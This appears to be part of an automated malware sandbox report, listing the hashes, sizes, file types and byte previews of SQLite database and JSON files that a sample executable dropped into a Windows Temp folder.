SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ctbDS2orbQ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dAysTLhkEB

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dYWtEG1KBy

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ddqiGIzMXM

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\difeDJ3QqE

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dw4MhwKlHC

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eIskHAQ2Zj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eMdmSbVGx1

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eSENR4CJJy

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eSfYBtawYN

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eUIEcflw1T

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fXiYfsVvdj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g0H3ZPzHjy

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g494cXB1j9

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gEtEe3157g

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gMUkeMo03n

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gP2dVLwxIs

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gYFIrbN9rg

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gbsRDVGsoc

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gdxHoShhj8

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gt8zyZgI02

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\haGpBPSXNb

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ht0MJMQpEd

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i1teMVxjVC

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i8U6grSvkv

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iB6TvTEXC6

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\iQiz3ih6rJ

Download File

